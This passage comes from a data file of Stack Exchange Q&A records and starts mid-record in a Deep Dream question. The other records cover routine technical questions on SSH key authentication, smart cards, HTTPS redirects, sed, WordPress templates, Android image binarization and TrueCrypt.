Once, the forward pass is complete until end, it calculates how off the blob at the end is from something.QuestionsWhat is this something? Is it dst.data? I stepped through a debugger and found that dst.data was just a matrix of zeros right after the assignment and then filled with values after the backward pass.Anyways, assuming it finds how off the result of the forward pass is, why does it try to do a backwards propagation? I thought the point of deep dream wasn't to further train the model but morph the input image into whatever the original model's layer represents.What exactly does src.data[:] += step_size/np.abs(g).mean() * g do? It seems like applying whatever calculation was done above to the original image. Is this line what actually morphs the image?Links that I have already read throughhttps://stackoverflow.com/a/31028871/2750819I would be interested in what the author of the accepted answer meant by we take the original layer blob and enchance signals in it. What  does it mean, I don't know. Maybe they just multiply the values by  coefficient, maybe something else.http://www.kpkaiser.com/machine-learning/diving-deeper-into-deep-dreams/In this blog post the author comments next to src.data[:] += step_size/np.abs(g).mean() * g: get closer to our target data. I'm not too clear what target data means here.Note I'm cross posting this from https://stackoverflow.com/q/40690099/2750819 as I was recommended to in a comment."  , "title": "Clarification wanted for make_step function of Google's deep dream script"  , "tags": "machine learning;python;neural network;deep learning"  , "accepted_answer": "What is this something? Is it dst.data? I stepped through a debugger and found that dst.data was just a matrix of zeros right after the assignment and then filled with values after the backward pass.Yes. dst.data is the working contents of the layer inside the CNN that you are trying to maximise. The idea is that you want to generate an image that has a high neuron activation in this layer by making changes to the input. If I understand this correctly though, it should be populated immediately after the forward pass here: net.forward(end=end)Anyways, assuming it finds how off the result of the forward pass is, why does it try to do a backwards propagation? I thought the point of deep dream wasn't to further train the model but morph the input image into whatever the original model's layer represents.It is not training. However, like with training we cannot directly measure how off the source that we want to change is from an ideal value, so instead we calculate how to move toward a better value by taking gradients. Back propagation is the usual method for figuring out gradients to parameters in the CNN. There are some main differences with training:Instead of trying to minimise a cost, we want to increase a metric which summarises how excited the target layer is - we are not trying to find any stationary point (e.g. the maximum possible value), and instead Deep Dream usually just stops arbitrarily after a fixed number of iterations.We back propagate further than usual, all the way to the input layer. That's not something you do normally during training.We don't use any of the gradients to the weights. The weights in the neural network are never changed. We are only interested in the gradients at the input - but to get them we need to calculate all the others first.What exactly does src.data[:] += step_size/np.abs(g).mean() * g do? It seems like applying whatever calculation was done above to the original image. Is this line what actually morphs the image?It takes a single step in the image data along the gradients that we have calculated will trigger more activity in the target layer. Yes this alters the input image. It should be repeated a few times, according to how extreme you want the Deep Dream effect to be."  } 
{  "id": "_softwareengineering.105627"  , "question": "Is it possible for the author to register a logo or the name of his/her application when it is open-source because it uses a gpl library (for example)? The application uses the library but it has its own features, that is it's not a modification of the library.So everyone can see the source code, downloading an anonymous non-branded version from Sourceforge, but none can use the logo or the name and so the author can sell it from his/her web-site (for example) to non-expert users, only after payment.Is he/she obliged to give directly the source code, or it is enough that there is the non-branded version available on Sourceforge or other official repository?"  , "title": "Can I brand my open-source application?"  , "tags": "open source;gpl;lgpl"  } 
{  "id": "_unix.367346"  , "question": "I'm having a problem with ssh keys on my server. Whenever I try to connect, it tells me this (I want to use the key to authenticate myself instead of typing password, but it still asks me for password after.) From my understanding from other articles, it asks me for my password because the private key authentication failed or something? I ran ssh -vvv user@ip and got this:$ ssh -vvv user@ipOpenSSH_7.4p1, OpenSSL 1.0.2k  26 Jan 2017debug2: resolving ip port 22debug2: ssh_connect_direct: needpriv 0debug1: Connecting to ip [ip] port 22.debug1: Connection established.debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_rsa type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_rsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_dsa type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_dsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_ecdsa type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_ecdsa-cert type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_ed25519 type -1debug1: key_load_public: No such file or directorydebug1: identity file /home/Aericio/.ssh/id_ed25519-cert type -1debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_7.4debug1: Remote protocol version 2.0, remote software version OpenSSH_6.7p1 Debian-5+deb8u3debug1: match: OpenSSH_6.7p1 Debian-5+deb8u3 pat OpenSSH* compat 0x04000000debug2: fd 3 setting O_NONBLOCKdebug1: Authenticating to ip:22 as 'user'debug3: hostkeys_foreach: reading file /home/Aericio/.ssh/known_hostsdebug3: record_hostkey: found key type ECDSA in file /home/Aericio/.ssh/known_hosts:1debug3: load_hostkeys: loaded 1 keys from ipdebug3: order_hostkeyalgs: prefer hostkeyalgs: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521debug3: send packet: type 20debug1: SSH2_MSG_KEXINIT sentdebug3: receive packet: type 20debug1: SSH2_MSG_KEXINIT receiveddebug2: local client KEXINIT proposaldebug2: KEX algorithms: curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-cdebug2: host key algorithms: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsadebug2: ciphers ctos: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbcdebug2: ciphers stoc: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbcdebug2: MACs ctos: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1debug2: MACs stoc: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1debug2: compression ctos: none,zlib@openssh.com,zlibdebug2: compression stoc: none,zlib@openssh.com,zlibdebug2: languages ctos:debug2: languages stoc:debug2: first_kex_follows 0debug2: reserved 0debug2: peer server KEXINIT proposaldebug2: KEX algorithms: curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1debug2: host key algorithms: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519debug2: ciphers ctos: aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.comdebug2: ciphers stoc: aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.comdebug2: MACs ctos: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1debug2: MACs stoc: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1debug2: compression ctos: none,zlib@openssh.comdebug2: compression stoc: none,zlib@openssh.comdebug2: languages ctos:debug2: languages stoc:debug2: first_kex_follows 0debug2: reserved 0debug1: kex: algorithm: curve25519-sha256@libssh.orgdebug1: kex: host key algorithm: ecdsa-sha2-nistp256debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: nonedebug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: nonedebug3: send packet: type 30debug1: expecting SSH2_MSG_KEX_ECDH_REPLYdebug3: receive packet: type 31debug1: Server host key: ecdsa-sha2-nistp256 SHA256:hTCFRXSL6Pn2ahO8AzocQsLS+VZP26OnZm/WvOWqq1Idebug3: hostkeys_foreach: reading file /home/Aericio/.ssh/known_hostsdebug3: record_hostkey: found key type ECDSA in file /home/Aericio/.ssh/known_hosts:1debug3: load_hostkeys: loaded 1 keys from ipdebug1: Host 'ip' is known and matches the ECDSA host key.debug1: Found key in /home/Aericio/.ssh/known_hosts:1debug3: send packet: type 21debug2: set_newkeys: mode 1debug1: rekey after 134217728 blocksdebug1: SSH2_MSG_NEWKEYS sentdebug1: expecting SSH2_MSG_NEWKEYSdebug3: receive packet: type 21debug1: SSH2_MSG_NEWKEYS receiveddebug2: set_newkeys: mode 0debug1: rekey after 134217728 blocksdebug2: key: /home/Aericio/.ssh/id_rsa (0x0)debug2: key: /home/Aericio/.ssh/id_dsa (0x0)debug2: key: /home/Aericio/.ssh/id_ecdsa (0x0)debug2: key: /home/Aericio/.ssh/id_ed25519 (0x0)debug3: send packet: type 5debug3: receive packet: type 6debug2: service_accept: ssh-userauthdebug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug3: send packet: type 50debug3: receive packet: type 51debug1: Authentications that can continue: publickey,passworddebug3: start over, passed a different list publickey,passworddebug3: preferred publickey,keyboard-interactive,passworddebug3: authmethod_lookup publickeydebug3: remaining preferred: keyboard-interactive,passworddebug3: authmethod_is_enabled publickeydebug1: Next authentication method: publickeydebug1: Trying private key: /home/Aericio/.ssh/id_rsadebug3: no such identity: /home/Aericio/.ssh/id_rsa: No such file or directorydebug1: Trying private key: /home/Aericio/.ssh/id_dsadebug3: no such identity: /home/Aericio/.ssh/id_dsa: No such file or directorydebug1: Trying private key: /home/Aericio/.ssh/id_ecdsaEnter passphrase for key '/home/Aericio/.ssh/id_ecdsa':debug3: sign_and_send_pubkey: ECDSA SHA256:/nMfW17zQ9zoH1UCzlSmLWtN4Mh/ST62SE5sB9B7D24debug3: send packet: type 50debug2: we sent a publickey packet, wait for replydebug3: receive packet: type 51debug1: Authentications that can continue: publickey,passworddebug1: Trying private key: /home/Aericio/.ssh/id_ed25519debug3: no such identity: /home/Aericio/.ssh/id_ed25519: No such file or directorydebug2: we did not send a packet, disable methoddebug3: authmethod_lookup passworddebug3: remaining preferred: ,passworddebug3: authmethod_is_enabled passworddebug1: Next authentication method: passworduser@ip's password:My configuration file in sshd_config is:# Package generated configuration file# See the sshd_config(5) manpage for details# What ports, IPs and protocols we listen forPort 22# Use these options to restrict which interfaces/protocols sshd will bind to#ListenAddress ::#ListenAddress 0.0.0.0Protocol 2# HostKeys for protocol version 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_key#Privilege Separation is turned on for securityUsePrivilegeSeparation yes# Lifetime and size of ephemeral version 1 server keyKeyRegenerationInterval 3600ServerKeyBits 1024# LoggingSyslogFacility AUTHLogLevel INFO# Authentication:LoginGraceTime 60PermitRootLogin noStrictModes yesRSAAuthentication yesPubkeyAuthentication yesAuthorizedKeysFile %h/.ssh/authorized_keys# Don't read the user's ~/.rhosts and ~/.shosts filesIgnoreRhosts yes# For this to work you will also need host keys in /etc/ssh_known_hostsRhostsRSAAuthentication no# similar for protocol version 2HostbasedAuthentication no# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthenticationIgnoreUserKnownHosts yes# To enable empty passwords, change to yes (NOT RECOMMENDED)PermitEmptyPasswords no# Change to yes to enable challenge-response passwords (beware issues with# some PAM modules and threads)ChallengeResponseAuthentication no# Change to no to disable tunnelled clear text passwordsPasswordAuthentication yes# Kerberos options#KerberosAuthentication no#KerberosGetAFSToken no#KerberosOrLocalPasswd yes#KerberosTicketCleanup yes# GSSAPI options#GSSAPIAuthentication no#GSSAPICleanupCredentials yesX11Forwarding noX11DisplayOffset 10PrintMotd noPrintLastLog yesTCPKeepAlive no#MaxStartups 10:30:60#Banner /etc/issue.net# Allow client to pass locale environment variablesAcceptEnv LANG LC_*Subsystem sftp /usr/lib/openssh/sftp-server# Set this to 'yes' to enable PAM authentication, account processing,# and session processing. If this is enabled, PAM authentication will# be allowed through the ChallengeResponseAuthentication and# PasswordAuthentication.  Depending on your PAM configuration,# PAM authentication via ChallengeResponseAuthentication may bypass# the setting of PermitRootLogin without-password.# If you just want the PAM account and session checks to run without# PAM authentication, then enable this but set PasswordAuthentication# and ChallengeResponseAuthentication to 'no'.UsePAM yesI've been trying to do other thing. Whenever I disabled the set passwordauthentication and pam to no, it tells me:$ ssh user@ipEnter passphrase for key '/home/Aericio/.ssh/id_ecdsa':Permission denied (publickey).FYI: I am using cygwin64 to use ssh. Thanks."  , "title": "SSH Key doesn't work"  , "tags": "ssh"  , "accepted_answer": "This is the relevant part of your log file:debug1: Trying private key: /home/Aericio/.ssh/id_ecdsaEnter passphrase for key '/home/Aericio/.ssh/id_ecdsa':debug3: sign_and_send_pubkey: ECDSA SHA256:/nMfW17zQ9zoH1UCzlSmLWtN4Mh/ST62SE5sB9B7D24debug3: send packet: type 50debug2: we sent a publickey packet, wait for replydebug3: receive packet: type 51SSH found one key file (id_ecdsa) - it asked you for its password then relayed it to the destination server. The destination server didn't trust your key and ssh moved on to using the next authentication method.What you need to do is copy the public key over to the destination server into the authorized_keys file, most easily with something like the following:ssh-copy-id <user>@<destination server>If you have more than one key or have one specific identity to copy over, you can add -i .ssh/id_ecdsa.pub to the command"  } 
{  "id": "_cstheory.31243"  , "question": "I am supposed to write a small paper about DFA in OOP for a CS class in theory. But I am required to connect that (DFA) to axiomatic and denotational semantics!I read few resources about axiomatic/denotational semantics but no one is talking specifically about their relation to Data Flow Analysis.Can you please guide me about that, or at least guide me to a book, chapter or a paper that talks about that?"  , "title": "What is the relation/difference between axiomatic and denotational semantics one one side, and the data flow analysis(DFA) on the other sied?"  , "tags": "semantics;dfa;denotational semantics"  } 
{  "id": "_unix.382587"  , "question": "When I run p11tool --list-tokens on Ubuntu 17 the certificates from my USB connected Sitecom smart card reader don't show up in the results. I was hoping to use p11tool to get the URL of the certificate I need to use to connect to my company's VPN using OpenConnect.I am confident the card reader is detected and works. I used the PCSC-lite and CCID open source drivers from https://pcsclite.alioth.debian.org/. When I use their verification tool (PCSC-perl) it shows me Card state: Card inserted, Shared Mode.. and it responds immediately when I take the card out by telling me:Card state: Card removedI installed opensc and opensc-pkcs11 (https://github.com/OpenSC/OpenSC/wiki). I have two opensc.module files on my system, because I wasn't sure where to put them:/etc/pkcs11/modules/opensc.module /usr/share/p11-kit/modules/opensc.moduleBoth files' contents are the same:module:/usr/lib/x86_64-linux-gnu/pkcs11/opensc-pkcs11.soI verified that opensc-pksc11.so exists.Any idea where to go from here? My smart card isn't listed in the output from p11tool --list-tokens, so I can't get the certificate URL that I need to connect to the VPN using OpenConnect. Output from p11tool:Token 0:    URL: pkcs11:model=p11-kit-trust;manufacturer=PKCS%2311%20Kit;serial=1;token=System%20Trust    Label: System Trust    Type: Trust module    Manufacturer: PKCS#11 Kit    Model: p11-kit-trust    Serial: 1    Module: p11-kit-trust.soToken 1:    URL: pkcs11:model=1.0;manufacturer=Gnome%20Keyring;serial=1%3aSSH%3aHOME;token=SSH%20Keys    Label: SSH Keys    Type: Generic token    Manufacturer: Gnome Keyring    Model: 1.0    Serial: 1:SSH:HOME    Module: gnome-keyring-pkcs11.soToken 2:    URL: pkcs11:model=1.0;manufacturer=Gnome%20Keyring;serial=1%3aSECRET%3aMAIN;token=Secret%20Store    Label: Secret Store    Type: Generic token    Manufacturer: Gnome Keyring    Model: 1.0    Serial: 1:SECRET:MAIN    Module: gnome-keyring-pkcs11.soToken 3:    URL: pkcs11:model=1.0;manufacturer=Gnome%20Keyring;serial=1%3aUSER%3aDEFAULT;token=Gnome2%20Key%20Storage    Label: Gnome2 Key Storage    Type: Generic token    Manufacturer: Gnome Keyring    Model: 1.0    Serial: 1:USER:DEFAULT    Module: gnome-keyring-pkcs11.soToken 4:    URL: pkcs11:model=1.0;manufacturer=Gnome%20Keyring;serial=1%3aXDG%3aDEFAULT;token=User%20Key%20Storage    Label: User Key Storage    Type: Generic token    Manufacturer: Gnome Keyring    Model: 1.0    Serial: 1:XDG:DEFAULT    Module: gnome-keyring-pkcs11.soBelow is th output of lsusb. When I remove the card reader from the USB port the Realtek Semiconductor entry disappears, so I assume the card reader is recognized by the OS. However, I am not sure why it is called Realtek since it is a Sitecom reader, but I assume Realtek is just the chip manufacturer. Also, it is not a Storage Device. When I use the card on Windows it will sometimes try to assign a drive letter to the card and access it, which fails. Maybe the card reader inaccurately reports it is a storage device?me@me:/etc/pkcs11/modules$ lsusbBus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hubBus 001 Device 004: ID 8087:0a2b Intel Corp. Bus 001 Device 003: ID 0bda:0169 Realtek Semiconductor Corp. Mass Storage DeviceBus 001 Device 005: ID 1bcf:2b95 Sunplus Innovation Technology Inc. Bus 001 Device 002: ID 046d:c52f Logitech, Inc. Unifying ReceiverBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub"  , "title": "p11tool doesn't list my smart card on Ubuntu 17"  , "tags": "certificates;openconnect;smartcard"  } 
{  "id": "_webapps.13279"  , "question": "So we have this awesome Flipboard App on the iPad now... or Zite.com to add another one to the game. I don't own an iPad yet I have social profiles everywhere full of awesome news streams that I would LOVE to read in a beautiful way.Is there any Flipboard clone that does intelligently present the most relevant news to me in a browser, not an iPad?"  , "title": "Is there something like Flipboard for normal browsers?"  , "tags": "webapp rec;html5;news"  , "accepted_answer": "Have you looked at Feedly?It is linked to Google Reader feeds and includes your personal twitter feed as well. You can also customize layouts, from lists to galery views, look for suggestions, save articles for later and get recommendations.I don't think it is available for IE but you can find it for Chrome, Firefox, iPhone and now Android."  } 
{  "id": "_webmaster.102083"  , "question": "Please don't close for being a duplicate, I have already tried the other answered questions and am still having issues.First, I know why the certification for the site breaks when using www. The cert is for just example.com not www.example.com, and adding www is technically a subdomain and therefore breaks the cert, causing browsers to do the whole 'bad/untrusted cert' thing.My situation is that I have certs for just example.com, and sometimes Google indexes pages using www.example.com. This is obviously an issue because when people search for things on my site, it is rather annoying and bad press to encounter the 'bad cert' thing.Is there any possible way to force https access and remove the www? I have tried using htaccess to do so, but am still running into the bad cert issue.It should be noted that my current htaccess does what it needs to (force https/no www) when initially connecting via http. It only fails to do so when the initial connection is made with https and using www (presumably the browser is refusing the connection before htaccess has a chance to act).Current htaccess:RewriteEngine OnRewriteCond %{HTTP_HOST} ^(www\\.)(.+) [OR]RewriteCond %{HTTPS} off [OR]RewriteCond %{HTTP_HOST} ^(www\\.)?(.+)RewriteRule ^ https://%2%{REQUEST_URI} [R=301,L]Alternatively, if there was a way to keep Google from indexing the pages with www, that would also be an acceptable workaround for me."  , "title": "SSL/https breaking when using www"  , "tags": "htaccess;https;no www"  , "accepted_answer": "Browsers dont further access the server when the certificate is not trusted/valid, so the .htaccess redirect cant work (it should work as soon as the user adds the certificate as an exception).The best solution is to get a certificate for the hostname with www, too. This does not only help for redirecting users to the correct hostname when following links from search results or bookmarks, it also helps those users that type your hostname with www (which is commonly done, even if its advertised without www), which might still happen long after search engines have removed the hostname with www from their indexes.If thats not possible, you can at least signal search engines that they should prefer the hostname without www. A 301 redirect is the best way here. If thats not possible, the second best is the canonical link type. Of course both can only work for search engines that ignore the bad certificate (I guess most do).You could also try to use the search engines webmaster tools to set the preferred hostname. For Google, see Set your preferred domain (www or non-www) (but I dont know if this works for hosts without a trusted certificate).In any case, you have to wait. After some time, the hostname with www should disappear from search results."  } 
{  "id": "_unix.309362"  , "question": "I have a file with the content shown below:***************Encrypted String*************** ezF7LcHO0Zlb+8kkBeIwtA== **********************************************I need to get only encrypted password from above. I used Google to search for an answer, and I got this example (below), but it didn't work:sed -n '/***************Encrypted String***************/,/**********************************************/p' $fileI tried but it didn't work"  , "title": "Print Lines Between Two Patterns with SED"  , "tags": "shell script;sed;regular expression"  } 
{  "id": "_unix.186996"  , "question": "I need to frequently login to many machines but I can only login to them from a proxy machine or using an SSH tunnel (by tunneling through that proxy machine). The problem is that I cannot use authorized_keys on the proxy machine, therefore I need to enter the password every time I setup the tunnel.How can I automate it? I was thinking about combining expect with some way to enter the password automatically without having to store it openly.I am using Linux on all of the machines mentioned."  , "title": "Automating setup of the SSH tunnel"  , "tags": "ssh;password;ssh tunneling;expect"  } 
{  "id": "_codereview.141568"  , "question": "I am job-searching and putting together some code samples. Just wondering how it looks.Here is an example of some code, from a custom WordPress theme, that works and is in production:Homepage Template<?php/*Template Name: HomepageRequirements: Advanced Custom Fields plugin*/?><?php get_header(); ?><section class=hero>    <div class=container>        <main>            <p class=h1>                <?php the_field('hero_content'); ?>            </p>        </main>    </div>    <div class=testimonials>        <ul class=slider>            <?php get_template_part('partials/testimonials'); ?>        </ul>    </div></section><main id=main>  <?php the_content(); ?>  <div class=details>        <div class=heading>            <h1><?php _e('What We Build','ssae'); ?></h1>        </div>        <?php get_template_part('partials/details'); ?>  </div>    <div class=stats>        <?php             while ( have_rows('stats') ) : the_row();            $label = get_sub_field('label');            $value = get_sub_field('value');        ?>            <div class=stat>                <div class=label><?php echo $label; ?></div>                <div class=value><?php echo $value; ?></div>            </div>        <?php            endwhile;        ?>    </div></main><?php get_template_part('partials/callout'); ?><?php get_template_part('partials/featured-cs'); ?><?php get_footer(); ?>Partialscallout<?php/* Callout, links to contact page. */?><section class=callout><a href=<?php echo site_url('/contact/'); ?>>    <div class=container>        <div class=text>            <span class=icon-calendar solo></span>            <h2 class=h1><?php _e('Schedule a Discussion','ssae'); ?></h2>        </div>    </div></a></section>details<?php/* Display a title, block of text, and icon for each item. Items pulled from a repeater field in the backend. */?><?php     while ( have_rows('details') ) : the_row();    $title = get_sub_field('title');    $icon_class = get_sub_field('icon_class');    $text = get_sub_field('text');?>    <div class=detail>        <span class=icon-<?php echo $icon_class; ?> solo></span>        <h2><?php echo $title; ?></h2>        <?php echo $text; ?>    </div><?php    endwhile;?>testimonials<?php/* Display the 3 Most Recent Testimonials (a custom post type) */?><?php     $loop = new WP_Query( array(         'post_type' => 'testimonials',        'posts_per_page' => 3    ) );     while ( $loop->have_posts() ) : $loop->the_post(); ?>    <?php    $thumb_id = get_post_thumbnail_id($post->id);    $thumbnail = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );    $thumb_alt = get_post_meta($thumb_id, '_wp_attachment_image_alt', true);    $logo_id = get_field('logo');    $logo = $logo_id['sizes']['grid-thumb'];    $logo_alt = get_post_meta($logo_id, '_wp_attachment_image_alt', true);    ?>    <div class=testimonial><div class=wrap>        <div class=header>            <div class=headshot>               <img src=<?php echo $thumbnail[0]; ?> alt=<?php echo $thumb_alt; ?>>            </div>            <p class=subheading><?php the_title(); ?></p>        </div>        <div class=text>            <?php the_content(); ?>        </div>        <?php if ( is_page_template('startups-page.php') ) : ?>            <img class=logo src=<?php echo $logo; ?>> <!-- needs an alt attribute -->        <?php endif; ?>    </div></div><?php endwhile; wp_reset_query(); ?>featured-cs<?php/* Display selected case studies (a custom post type). Items are chosen in a custom field for this page in the backend. */?><section class=featured case-studies>    <h1><?php _e('Case Studies','ssae'); ?></h1>    <div class=gallery><div class=container>        <?php if( have_rows('case_studies')):            while ( have_rows('case_studies')) : the_row();                $post_object = get_sub_field('post');                if( $post_object ) :                    $post = $post_object;                    setup_postdata($post);                    get_template_part('partials/article');                    wp_reset_postdata();                endif;           endwhile;         endif; ?>    </div></div></section>article<?php/* Layout for displaying a thumbnail, title, link, and categories for an article. */?><a class=article href=<?php the_permalink() ?>>    <div class=image>        <?php if ( has_post_thumbnail() ) :             echo get_the_post_thumbnail( $post->ID, 'grid-thumb');            else : ?>            <img src=https://placehold.it/600x440 alt=placeholder />        <?php endif; ?>    </div>    <h2><?php the_title(); ?></h2>    <span class=category>        <?php        /* show a comma-separated list of associated categories as just text, no links */        $cats = '';        foreach((get_the_category()) as $category) {            if ($category->cat_name != Uncategorised) { // don't print this category                $cats .= $category->cat_name . ', ';            }        }        echo rtrim($cats, ', ');        ?>    </span></a>"  , "title": "Custom Homepage"  , "tags": "php;wordpress"  } 
{  "id": "_softwareengineering.197953"  , "question": "I have some questions about VPS and web hosting.As far as I understand, VPS is a virtual machine on which we can do anything as we can do with our local machine. Install software, change settings etc. Web hosting is where we have only a folder in which we place our web site in.However, most of the provider currently advertise their service as VPS web hosting. This confuses me, does that mean they are selling VPS service which can only host web sites?I need a virtual machine which host one RESTful Java service using Tomcat and Jersey and MYSQL at the backend. My plan was to hire a VPS machine, install Tomcat 7 and MySQL on that machine. Is this the right way to go? Many thanks."  , "title": "VPS vs Web Hosting: Which one is good for java web services"  , "tags": "java;web services;web hosting"  } 
{  "id": "_codereview.11312"  , "question": "I'm working on an application that turns a raw camera image into a binary (pure black/white) image and I need this to happen as fast as possible for swift further processing. This is what my code currently looks like:public static boolean[][] createBinaryImage( Bitmap bm ){    int[] pixels = new int[bm.getWidth()*bm.getHeight()];    bm.getPixels( pixels, 0, bm.getWidth(), 0, 0, bm.getWidth(), bm.getHeight() );    int w = bm.getWidth();    // Calculate overall lightness of image    long gLightness = 0;    int lLightness;    int c;    for ( int x = 0; x < bm.getWidth(); x++ )    {        for ( int y = 0; y < bm.getHeight(); y++ )        {            c = pixels[x+y*w];            lLightness = ((c&0x00FF0000 )>>16) + ((c & 0x0000FF00 )>>8) + (c&0x000000FF);            pixels[x+y*w] = lLightness;            gLightness += lLightness;        }    }    gLightness /= bm.getWidth() * bm.getHeight();    gLightness = gLightness * 5 / 6;    // Extract features    boolean[][] binaryImage = new boolean[bm.getWidth()][bm.getHeight()];    for ( int x = 0; x < bm.getWidth(); x++ )        for ( int y = 0; y < bm.getHeight(); y++ )            binaryImage[x][y] = pixels[x+y*w] <= gLightness;    return binaryImage;}As you can see, it uses a global threshold to tell apart the black and white pixels. I recently switched from bm.getPixel to bm.getPixels and this yielded a speed improvement of ~33%. Now my question is if there is anything else I can do to speed things up?It currently takes <0.5 seconds to process 558x256 image and this is reasonable for my application, but I wonder if there's room for any other simple optimizations."  , "title": "Fast image binarization on Android"  , "tags": "java;android"  , "accepted_answer": "You can get rid of the nested loop, replacing thisfor ( int x = 0; x < bm.getWidth(); x++ ) {     for ( int y = 0; y < bm.getHeight(); y++ )     {         c = pixels[x+y*w];         lLightness = ((c&0x00FF0000 )>>16) + ((c & 0x0000FF00 )>>8) + (c&0x000000FF);         pixels[x+y*w] = lLightness;         gLightness += lLightness;     } }With this:int size = bm.getWidth()*bm.getHeight();for (int i = 0; i < size; i++) {  c = pixels[i]; // etc.}It will at least save one x+y*w operation per pixel.It may be advantageous to calculate size into a separate variable as above, instead of doing it inside the loop, as in for (int i = 0; i < bm.getWidth()*bm.getHeight(); i++). The condition is checked at each round so you would end up calling the getters at each round, and who knows what's in them? The JIT compiler may be able to optimize this kind of stuff away - and probably will, if the getters are simple return class member statements - but at least it's not guaranteed.More substantial improvements can be got by sacrificing perfection. Maybe you needn't take each pixel into account for calculating the threshold? Perhaps count only every 10th on each direction? Then you would probably use the nested loop again. Like this:int width = bm.getWidth();int height = bm.getHeight();for ( int x = 0; x < width; x+=10; ){  for ( int y = 0; y < height; y+=10; )  {   // etc.  }}gLightness /= (width / 10) * (height / 10);"  } 
{  "id": "_unix.167621"  , "question": "I'm dual-booting Windows 8 and Kali Linux. On Linux, my wireless connection doesn't work; it keeps asking for the wifi password but refuses to connect. The same network works fine on Windows 8. Is there some setting I should change to fix this on Linux?"  , "title": "Kali Linux won't connect to wireless network"  , "tags": "wifi;kali linux"  } 
{  "id": "_unix.195987"  , "question": "I have a unix machine with truecrypt 7.1a installed. I'm trying to mount a volume to test with the command line but I don't have the truecrypt command installed evidently. Did the command line functionality come with the install before the software went crazy or am I doing something crazy? Or is there a place to download the the necessary files to put it on my machine?"  , "title": "How do I get the Truecrypt CLI installed?"  , "tags": "osx;gpg;truecrypt"  , "accepted_answer": "So I found it out myself by scouring the web. You just use the path to the truecrypt executable in the app bundle:/Applications/TrueCrypt.app/Contents/MacOS/TrueCrypt -hThe above command will get you the help option to see what other options there are for TrueCrypt. Also, here is one of the sources I found for the code: mount-dev-volumes.sh"  } 
